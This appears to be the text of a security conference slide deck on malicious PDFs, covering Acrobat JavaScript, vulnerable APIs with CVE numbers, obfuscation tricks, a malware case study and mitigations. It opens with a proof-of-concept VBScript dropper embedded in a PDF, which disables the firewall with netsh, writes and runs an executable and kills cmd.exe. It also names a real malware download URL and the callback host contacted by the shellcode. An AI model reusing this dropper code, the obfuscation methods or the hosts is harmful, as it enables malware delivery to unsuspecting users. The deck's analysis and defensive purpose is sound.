- %Dim b,bl;Set WshShell = Function c(d);c=chr(d);End Function;b=Array(c(77),c(90),c(144),c(0),…..,"");bl = 3072;Set fso = CreateObject("Scripting.FileSystemObject");Set f = fso.OpenTextFile("helpme.exe", 2, True);For i = 0 To bl;f.write(b(i));Next;f.close(); Set WshShell = WScript.CreateObject("WScript.Shell") ;WshShell.Run "netsh firewall set opmode disable", 0, True;WshShell.Run "helpme.exe", 0, False;WshShell.Run "taskkill /IM cmd.exe /F", 0, False
- %’EE
- 6 0 obj
- [/PDF /Text]
- endobj
Step 3 : Launch cmd.exe and create another script
- /c echo Set fso=CreateObject("Scripting.FileSystemObject") > execute.vbs && echo Set f=fso.OpenTextFile("EmbeddedExePoC.pdf", 1, True) >> execute.vbs && echo pf=f.ReadAll >> execute.vbs && echo s=InStr(pf,"’SS") >> execute.vbs && echo e=InStr(pf,"’EE") >> execute.vbs && echo s=Mid(pf,s,e-s) >> execute.vbs && echo Set z=fso.OpenTextFile("toexecute.vbs", 2, True) >> execute.vbs && echo s = Replace(s,"%","") >> execute.vbs && echo s = Replace(s,";",vbcrlf) >> execute.vbs && echo z.Write(s) >> execute.vbs && execute.vbs && toexecute.vbs
Generated VBScript
- Set fso=CreateObject("Scripting.FileSystemObject")
- Set f=fso.OpenTextFile("EmbeddedExePoC.pdf", 1, True)
- pf=f.ReadAll
- s=InStr(pf,"’SS")
- e=InStr(pf,"’EE")
- s=Mid(pf,s,e-s)
- Set z=fso.OpenTextFile("toexecute.vbs", 2, True)
- s = Replace(s,"%","")
- s = Replace(s,";",vbcrlf)
- z.Write(s)
AcroJS
- AcroJs Api
- Vulnerable Apiâ€™s
- Obfuscation Techniques
- Case Study
AcroJS
- Acrobat JavaScript is the cross-platform scripting language of the AdobeÂ® AcrobatÂ® family of products.
- Through JavaScript extensions, the viewer application and its plug-ins expose much of their functionality to document authors, form designers, and plug-in developers.
- This functionality includes the following features,
JavaScript Actions
- A JavaScript action causes a script to be compiled and executed by the JavaScript interpreter.
- Depending on the nature of the script, various interactive form fields in the document may update their values or change their visual apÂpearances.
- PARAMETERS
- /S
- Type – name
- (Required) The type of action that this dictionary describes; must be JavaScript for a JavaScript action.
- /JS
- Type – text string or text stream
- (Required) A text string or text stream containing the JavaScript script to be exeÂcuted.
Acrojs examples launchURL Alertbox
Acrojs examples
Acrojs examples
Vulnerable APIs
- getIcons() [CVE-2009-0927]
- Util.printf() [CVE-2008-2992][CVE-2008-1104]
Vulnerable APIs
- getAnnots() [CVE-2009-1492]
- customDictionaryOpen() [CVE-2009-1493]
Vulnerable APIs
- Doc.media.newPlayer [CVE-2009-4324]
- Collab.collectEmailInfo [CVE-2007-5659]
Obfuscation Techniques
- Why?
- Ways?
Javascript Obfuscations : Unlearn Coding Ethics
Distorting format Normal Code Obfuscated Code function execute(data, time) { Timelag=5000; if (time > Timelag) { // some code } } function overflow(hex, loop) { for (i=0;i
Obfuscating Identifiers Normal Code Obfuscated Code function execute(data, time) { Timelag=5000; if (time > Timelag) { // some code } } function overflow(hex, loop) { for (i=0;i WWMWMWMWMWMW) { // some code } } function aimpq(xxwmnnx, pqrtxw) { for (dqweaa=0; dqweaa < pqrtxw; dqweaa ++) { xxwmnnx = xxwmnnx + xxwmnnx;; } }
Obfuscating Identifiers â€“ Even Worse Differentiating with number of underscore characters function _____(____,__________) { ______________=5000; if (__________>______________) { // some code } } function ___(_______, ______) { for(________________=0; ________________<______; ________________ ++) { _______ = _______ + _______; } }
Obfuscating Identifiers â€“ Even Worse Differentiating with number of underscore characters function _____(____,__________){______________=5000;if (__________>______________){// some code}}function ___(_______, ______){for(________________=0; ________________<______; ________________ ++){_______ = _______ + _______;}}
Chain of Eval Normal Code Obfuscated code app.alert(â€œc0c0nâ€) func="eval"; one=’app.alert("c0c0n")’; two=eval(one); three=eval(two); eval(func(three));
Splitting Javascript Normal code Obfuscated Code app.alert(â€œhello worldâ€); Rt=â€œ);â€; Td=â€œert(â€helâ€; Ab=â€œapâ€; Qw=â€œldâ€â€; Kg=â€œp.alâ€; Gh=â€œlo worâ€; Eval(â€œhh=Ab+Kg+Td+Gh+Qw+Rtâ€); Eval(hh);
Callee Trick Function accesses its own source and uses it as a key to decrypt code or data function decrypt(cypher) { var key = arguments.callee.toString(); for (var i = 0; i < cypher.length; i++) { plain = key.charCodeAt(i) ^ cypher.charCodeAt(i); } … }
Pdf obfuscations
- Using Filters for streams.
- Most common encoding techniques -
Case Study
- Malware found from – www.malwaredomainlist.com
- File link www.bigiqwars.ru/ppp/exp/pdf.php?user=admin&pdf_acces=on
- Added on â€“ 29 th july 2010
Virus total Reports 5/42(11.90%)
- Analysis
STEP-1
- WGET www.bigiqwars.ru/ppp/exp/pdf.php?user=admin&pdf_acces=on
STEP-2
- Behavioral Analysis
- Environment
- By using vm image
- Filemon,Processmon,Regmon,TCPView
- Results
- Under Process â€˜AcroRD32.exeâ€™ Was trying to connect to remote site http://bigiqwars.ru/ppp/exe.php?spl=PDF (newPlayer)&user=admin&exe_acces=on
STEP-3
- Pdfid.py
STEP-4
- Static/Code Analysis
Word Editor
Decoded the script
Formatted using jsbeautifier.org
Replacing with meaningful identifiers and removing unnecessary comments
- Replacing â€˜Xâ€™ from parameter
Shellcode Analysis Connecting toâ€¦ http://bigiqwars.ru/ppp/exe.php?spl=PDF (newPlayer)&user=admin&exe_acces=on
Road Ahead
- Mitigations
- Adobeâ€™s security Measures
- Future Exploit methods
How can we protect ourselves
- Enable automatic updates: it sounds simple, but you will need to turn it on in the software settings to make it happen by default.
- Disable PDF browser integration: most browsers will open PDFs without asking. An infected PDF will deliver its payload without warning, hiding in the background.
- Always install the latest patch/update, even for older Adobe product versions.
- Disable Javascript
- Uncheck â€˜Allow non-PDF gile attachments with external applicationsâ€™ to prevent launch action vulnerability.
- PDF alternatives such as Foxit are worthwhile, as long as auto updates are turned on, however alternative programs are just as vulnerable to malware as they gain popularity.
Road Ahead
- Focus Less on javascript exploits
- Attackers focusing more on embedded objects inside pdf i.e flash
- Adobe to introduce sandboxing to limit Reader exploits
Tools And References
Tools used
- Malzilla
- Mozilla addon
- Vmware Player
- Sysinternal tools
- WinHex
- HexEdit
Thank you
- Hakers.info